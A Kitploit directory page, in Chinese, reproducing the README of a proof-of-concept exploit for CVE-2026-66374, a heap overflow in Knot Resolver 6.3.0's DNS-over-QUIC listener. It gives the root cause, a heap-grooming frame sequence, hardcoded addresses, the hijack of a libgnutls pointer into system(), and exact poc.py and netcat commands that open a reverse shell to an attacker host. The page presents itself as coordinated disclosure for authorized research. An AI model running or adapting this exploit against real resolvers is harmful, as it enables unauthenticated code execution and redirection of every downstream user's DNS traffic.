Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
knot-doq — CVE-2026-66374:Knot Resolver 6.3.0 DNS-over-QUIC 堆溢出(RCE) | Kitploit
工具/GitHubGitHub/venglin/knot-doq
漏洞分析漏洞利用网络安全远程访问工具Payload 开发二进制利用
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374:Knot Resolver 6.3.0 DNS-over-QUIC 堆溢出(RCE)

查看仓库
132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Knot Resolver 6.3.0 — DNS-over-QUIC 堆溢出 → RCE (PoC)

针对 Knot Resolver 的 DNS-over-QUIC (DoQ) 接收路径中可远程触发的堆缓冲区溢出的概念验证,该漏洞可以以 knot-resolver 服务用户身份实现远程代码执行。

  • 组件: kresd DoQ 监听器(daemon/quic_conn.c)
  • 影响版本: Knot Resolver 6.3.0(已在 6.3.0-cznic.1~bookworm 上验证)
  • 修复版本: Knot Resolver 6.4.1(2026-07-22 发布)
  • 漏洞类型: 堆越界写入(CWE-787)
  • 攻击途径: 网络,无需认证 —— 单个 QUIC 连接
  • 影响: 以 knot-resolver 身份执行代码;至少可导致远程崩溃 / DoS

与厂商修复及公告同步发布,属于协同披露的一部分。仅用于授权的安全研究和防御性验证。

演示

完整的远程利用 —— 攻击机通过 DNS-over-QUIC 触发漏洞,并在 nc 上捕获 knot-resolver 反向 shell(点击查看高清视频):

针对 Knot Resolver 6.3.0 的远程 DNS-over-QUIC RCE

什么是 Knot Resolver

Knot Resolver 是由 CZ.NIC(.cz 域名注册管理机构)开发的开源缓存 DNS 递归解析器。它代表客户端解析 DNS 查询 —— 终端用户设备、ISP 解析器集群以及公共解析服务 —— 并缓存答案。它支持现代加密传输,包括 DNS-over-TLS (DoT)、DNS-over-HTTPS (DoH) 和 DNS-over-QUIC (DoQ),并提供 DNSSEC 验证和激进缓存(aggressive caching)。

它在大型 ISP 环境中广受欢迎,其丰富的功能集(可脚本化策略、DNSSEC、加密传输、细粒度缓存)和高性能使其非常适合服务海量用户。

守护进程(kresd)是一个长期运行的网络服务,直接暴露于任何能够访问其监听端口的主机所发出的不可信输入。这使得其数据包接收路径中的内存破坏漏洞 —— 例如本文所利用的漏洞 —— 成为一个远程可达、无需认证的攻击面:攻陷解析器后,攻击者可以为所有下游客户端伪造 DNS 答案,即实际上重定向或拦截他们的全部流量。

根本原因

kr_recv_stream_data_cb() 将 DoQ STREAM 帧重组到每个连接的输入缓冲区(pers_inbuf)中。它通过以下方式扩展缓冲区:

pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

而不是将大小设置为新的总长度。经过多个帧后,跟踪的 size 会漂移到超过实际分配的大小。因此,当某个帧的 datalen 适合该膨胀后的 size 时,会跳过重新分配,但随后的 memcpy() 却以该膨胀后的大小为边界 —— 从而写入越过对象末尾。jemalloc 会将对象固定在其真实大小类别中,所以多余的字节会落入相邻的 slab 槽位。

利用摘要

单个流上的六帧序列将 pers_inbuf 依次推过五个 jemalloc 大小类别,进入 6144 字节类别,然后溢出到相邻槽位:

F1  datalen=8                    初始 1200 字节分配
F2  datalen=1440   realloc  ->   1536 类别
F3  datalen=1440   realloc  ->   3072 类别
F4  datalen=1440   realloc  ->   5120 类别
F5  datalen=1440   realloc  ->   6144 类别
F6  datalen=1200, FIN            不 realloc -> 向 slot+1 写入 814 字节 OOB

轻量级的连接整理(grooming)(打开多个 DoQ 连接,在触发前释放一半)使 slot+1 指向一个 libgnutls 清理处理器。溢出会覆盖该处理器的分发指针、其参数以及控制分发的标志。在连接拆除过程中,libgnutls 执行

call *0x110(%rbx)     ; %rbx = 攻击者控制的 slot+1

从而控制指令指针(RIP)和第一个参数(RDI)。该 PoC 将其导向 system(),并传入一个指向写入同一槽位的攻击者提供的命令字符串的指针。

范围:ASLR

该 PoC 针对已禁用 ASLR 的主机(kernel.randomize_va_space = 0)。在关闭随机化的情况下,堆和 libc 地址是确定的,因此利用所需的两个地址(slot+1 和 system())在特定构建中是常量。绕过 ASLR 是一个独立的问题,在此明确不在范围内 —— 目标是隔离演示内存破坏 → 控制流 → 代码执行这一原始漏洞利用链。

由于这些地址是确定的,不需要信息泄露:该漏洞完全可以从远程主机通过网络触发。地址只需通过 probe 步骤(见下文)在任意相同构建上获取一次,然后硬编码;在参考构建中,它们分别是 slot+1 = 0x7ffff66c5000 和 system = 0x7ffff746a490。

目录内容

文件用途
poc.py漏洞利用程序。模式:probe、rip、exec。
probe.gdbgdb 预言机,用于读取确定的 pers_inbuf。
README.md本文档。

需要 Python 3 及 aioquic 和攻击侧的 netcat;目标机上仅需在一次性 probe 步骤中使用 gdb。

用法 —— 远程反向 shell(无信息泄露)

这是最核心的演示:利用程序从攻击机通过网络触发,两个确定性地址为硬编码。不会从目标读取任何内容 —— 不使用 /proc、gdb 或日志。

# 在攻击机上:监听 shell
$ nc -lvnp 4444                    # Linux;macOS/BSD 上:nc -l 4444

# 在另一个终端:向目标的 DoQ 端口发起攻击
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

每一轮成功后都会在目标上以反向 shell 命令调用 system();shell 会回连到 --lhost:--lport,由 nc 接收。连接建立后,在 netcat 会话中输入命令即可驱动 shell:

knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

--slot1 / --system 值可通过 probe 步骤在任意相同构建上获取一次;在 ASLR 关闭期间它们是常量。

恢复地址(一次性 probe)

上述 --slot1 / --system 值在 ASLR 关闭期间是常量;可在任意相同构建上一次性恢复。前置条件:

$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : gdb 预言机读取确定的 pers_inbuf,+0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc 基址(ASLR 关闭)+ system() 偏移
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 还额外演示了原始 RIP/RDI 控制(目标会在攻击者选择的指令指针处崩溃)。

可靠性

在参考构建(Debian 12、6.3.0-cznic.1、ASLR 关闭)上测得:

原语成功率
RIP/RDI 控制(rip,崩溃)每轮约 7/8
完整 system() 执行(exec)约 1/30–50 轮

差距是内在的:system() 运行在被溢出破坏的堆上,因此大多数分发会在子进程生成前使 kresd 崩溃。守护进程会由其监管程序在每次崩溃后重新拉起;ASLR 关闭时地址是确定的,且每次尝试相互独立 —— 因此 exec 循环只需不断重试直到某一次成功(在上述远程运行中,第 5 轮即收到 shell)。失败的尝试只是瞬时的 worker 崩溃(DoS)。整理参数 --groom 16 --close 8 --qpc 4 是经验上最好的默认值;更激进的关闭(例如 --groom 32 时 --close 16)会使成功率大幅下降。

参考环境

OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    DoQ listener on 127.0.0.1@8853

大小类别几何结构(六帧、1200/1440 字节载荷)和 libgnutls 分发偏移特定于该构建;其他构建需要重新推导帧大小和偏移。

披露时间线

日期事件
2026-06-08漏洞已报告给厂商(CZ.NIC)。
2026-07-22修复随 Knot Resolver 6.4.1 发布,并附厂商公告。
2026-07-23本 PoC 及技术分析发布。

披露与许可

已于 2026-06-08 报告给厂商,并与官方修复(6.4.1,2026-07-22)协调发布。仅供授权测试、防御性验证和研究使用。请勿针对您不拥有或未经明确授权测试的系统运行。

SPDX-License-Identifier: MIT

下载工具